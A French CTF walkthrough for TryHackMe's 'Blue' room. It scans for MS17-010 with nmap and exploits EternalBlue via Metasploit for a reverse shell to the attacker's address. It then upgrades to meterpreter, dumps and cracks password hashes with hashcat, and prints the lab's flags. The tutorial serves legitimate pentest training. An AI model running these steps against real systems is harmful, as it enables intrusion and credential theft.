Salut chers amis pentesteurs, aujourd’hui nous allons changer d’environnement. Nous allons utiliser la machine Blue de tryhackme qui est une machine windows vulnérable au ms17-010. l’interêt ici est de vous familiariser avec cet RCE bien connu et son exploit EternalBlue.
Au menu, nous verrons une nouvelle manière d’utiliser nmap, utiliser metasploit pour obtenir un Shell et faire de l’escalade de privilège en exploitant cette faille. Nous utiliserons par ailleurs hashdump puis un hashcat dans ce même but.
Blue est une machine qui utilise le système d’exploitation windows, c’est un challenge de niveau facile. Pour la résolution du challenge, il nous faudra obtenir 3 flags.
ms17-010 qu’est ce que c’est?
Tout a commencé par la découverte par la NSA d’une faille dans le protocole smbv1. la NSA a créé l’exploit EternalBlue afin d’exploiter la faille et… l’arroseur fut arrosé:
Alors qu’Eternal blue était l’un des outils de l’arsenal de la NSA les plus exploités dans le contre espionnage et le renseignement, le leak d’un nombre de zero days de la NSA a eu lieu et le groupe de hackers responsables (Shadow Broker) a permi d’exploiter celui-ci au grand jour pour la diffusion de WannaCry, NotPetya et d’autres malwares…

Le Microsoft Security Bulletin MS17-010 à été publié en Mars 2017. Celui-ci est un bundle de patches de sécurité bien connu qui addresse de multiples vulnerabilités dont le RCE CVE-2017-0143 qui concerne le protocole SMBv1.
Cette vulnérabilité concerne Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, and Windows Server 2016.
Microsoft a depuis désactivé SMBv1 dans les versions récentes de Windows 10, Windows Servers 2012 and 2016 par défaut.
Blue – Reconnaissance
Une fois la machine démarrée, nous commençons par un scan de port avec nmap. À la différence des autres scan nous allons utiliser un script NSE pour la recherche de vulnérabilité à l’aide de l’option --script vuln
.
Pour en savoir plus sur les scripts NSE, je vous suggère de jeter un œil sur notre article dédié nmap NSE.
Dans notre cas, le script exécuté est vuln
, il nous aidera, a à identifier les vulnérabilité de la blue box cible.
Pour en savoir plus sur les différents scripts NSE, nous en parlions dans un article dédié.
La commande qu’on utilise donc pour le scan de vulnérabilité est donc :
nmap -sV --script vuln 10.10.55.26
.
root@kali:~# nmap -sV --script vuln 10.10.55.26
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-07 23:53 CEST
Nmap scan report for 10.10.55.26
Host is up (0.16s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rdp-vuln-ms12-020:
| VULNERABLE:
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0152
| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
| Disclosure date: 2012-03-13
| References:
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0002
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
| Disclosure date: 2012-03-13
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_sslv2-drown:
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
D’après les résultats du scan, nous pouvons conclure que la cible peut être vulnérable à ms17-010.
Blue – Enumération
Nous allons utiliser metasploit qui est un outil pré-installé sur kali.
Pour les débutants, Metasploit est un framework d’exploitation puissant qui possède de nombreuses options et fonctionnalités. Nous commençons simplement par rechercher ms17-010 et nous constatons qu’il existe à la fois des modules auxiliaires et des modules d’exploitation adaptés à cette vulnérabilité .

Si nous regardons la description du module n ° 2, nous voyons qu’il est utilisé pour «MS17-010 SMB RCE Detection», le mot clé ici étant la détection. Nous allons utiliser ce module grâce à la commande use auxiliary/scanner/smb/smb_ms17_010
et aussi nous allons déterminer les différentes options requises pour son exécution grâce à la commande show options
.

Comme options nous devons ajouter l’adresse ip de la cible. Pour le faire nous allons utiliser la commande set RHOSTS 10.10.55.26
. Ensuite nous exécutons le scan avec la commande run
.
[+] 10.10.55.26:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.55.26:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Cela nous confirme que la machine est vulnérable à MS17-010.
Blue – Exploitation
Pour l’exploitation, nous allons utiliser le module numéro ° 3.

Comme options nous devons ajouter l’adresse ip de la cible via set RHOSTS 10.10.55.26
, notre adresse ip via la commande set LHOST 10.8.9.70
et aussi le port d’écoute grâce à la commande set LPORT 4444
. Nous exécutons ensuite l’exploit.

Ce qui nous permet donc d’obtenir un shell.

Blue – Escalade de privilège
Nous avons vu précédemment qu’après avoir exécuté notre exploit, nous avions déjà SYSTEM, mais pour cet article, nous allons le parcourir de toute façon.
Nous passons maintenant à la phase de l’élévation de privilège. Pour le faire nous commençons d’abord par mettre en arrière plan l’accès que nous avons au shell grâce à la commande background
.

Nous allons maintenant utiliser meterpreter qui est un payload d’attaque de Metasploit qui fournit un shell interactif.

Il nous faudra spécifier la session qu’on a mis en arrière plan grâce à la commande set session 2
, 2 étant le numéro de la session. Après nous exécutons l’exploit.

Ce qui nous permet d’avoir une session metepreter.

Ensuite, nous avons utilisé la commande ps
pour lister l’ensemble des processus en cours sur la machine.

Nous choisissons de migrer vers le processus spoolsv.exe avant de le faire on doit s’assurer que le propriétaire du processus est SYSTEM.

Il est temps maintenant d’extraire les mots de passe grâce à la commande hashdump
.

Essayons maintenant d’obtenir les mots de passe en crackant ces hashs. Pour ce faire, nous allons utiliser hashcat. Nous allons utiliser la commande suivante :
hashcat -m 1000 -a 0 user.hash rockyou.txt --show

Bingo! Nous avons pu avoir le mot de passe de l’utilisateur Jon qui est alqfna22. Pour finir nous allons rechercher et afficher les trois flags. Nous commençons par la recherche avec la commande search -f flag*.txt
à exécuter dans meterpreter dont le résultat est le suivant.
meterpreter > search -f flag*.txt
Found 3 results...
c:\flag1.txt (24 bytes)
c:\Users\Jon\Documents\flag3.txt (37 bytes)
c:\Windows\System32\config\flag2.txt (34 bytes)
Nous nous dirigeons ensuite vers les différents répertoires pour afficher les flags.
meterpreter > cd C:/
meterpreter > cat flag1.txt
flag{access_the_machine}
meterpreter > cd c:\\Users\\Jon\\Documents
meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}
meterpreter > cd c:\\System32\\Config
meterpreter > cat flag2.txt
flag{sam_database_elevated_access}
Ainsi, nous avons les trois flags et nous avons résolu ce challenge.
Conclusion
Tout au long de cet article, nous avons utilisé nmap pour faire un scan de vulnérabilité, aussi nous avons appris à utiliser metasploit pour exploiter la vulnérabilité ms17-010 pour avoir un accès à une machine, faire de l’escalade privilège avec le meterpreter de metasploit, et d’extraire les hashs des mots de passe.
J’espère que tout comme moi, vous avez trouvé ce challenge instructif et vous dis donc à bientôt pour encore plus de tuto hacking.